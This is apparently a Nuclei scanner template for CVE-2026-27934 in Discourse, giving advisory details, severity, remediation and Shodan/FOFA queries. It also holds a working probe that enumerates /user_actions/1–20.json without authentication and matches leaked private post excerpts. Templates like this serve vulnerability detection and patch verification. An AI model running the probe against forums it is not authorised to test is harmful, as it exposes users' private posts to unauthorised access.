Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure

id: CVE-2026-27934

info:
  name: Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 - Unauthenticated Private User Action Disclosure
  author: str4k3r
  severity: high
  description: |
    Discourse < 2026.1.2/2026.2.1/2026.3.0-latest.1 contains an information disclosure vulnerability caused by lack of visibility checks in a user action API endpoint, letting unauthorized users access post titles and excerpts, exploit requires no special privileges.
  impact: |
    Unauthorized users can access post titles and excerpts, leading to information disclosure.
  remediation: |
    Upgrade Discourse to 2026.1.2, 2026.2.1, 2026.3.0-latest.1, or later.
  reference:
    - https://github.com/discourse/discourse/security/advisories/GHSA-824f-66wh-xx3g
    - https://nvd.nist.gov/vuln/detail/CVE-2026-27934
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 8.7
    cve-id: CVE-2026-27934
    epss-score: 0.01434
    epss-percentile: 0.72559
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 20
    vendor: discourse
    product: discourse
    shodan-query: http.html:"Discourse"
    fofa-query: body="/assets/discourse"
  tags: cve,cve2026,discourse,idor,exposure,unauth

http:
  - raw:
      - |
        GET /user_actions/{{id}}.json HTTP/1.1
        Host: {{Hostname}}

    payloads:
      id:
        - 1
        - 2
        - 3
        - 4
        - 5
        - 6
        - 7
        - 8
        - 9
        - 10
        - 11
        - 12
        - 13
        - 14
        - 15
        - 16
        - 17
        - 18
        - 19
        - 20

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "json")'
          - 'regex("\"action_type\":(2|6|7|9|11)([,}])", body)'
          - 'contains(body, "\"excerpt\":")'
        condition: and

    extractors:
      - type: regex
        name: action_type
        group: 1
        regex:
          - '"action_type":([0-9]+)'
# digest: 4a0a0047304502204f955d9b835ab6106d55f8a4b09f526d4c53d3bef7989e7dac2fe6d16ae73be7022100c9042456ba9ce11823c4efd062a63bfb24ee76c859d876eb6518191f6e5ed84c:922c64590222798bb761d5b6d8e72950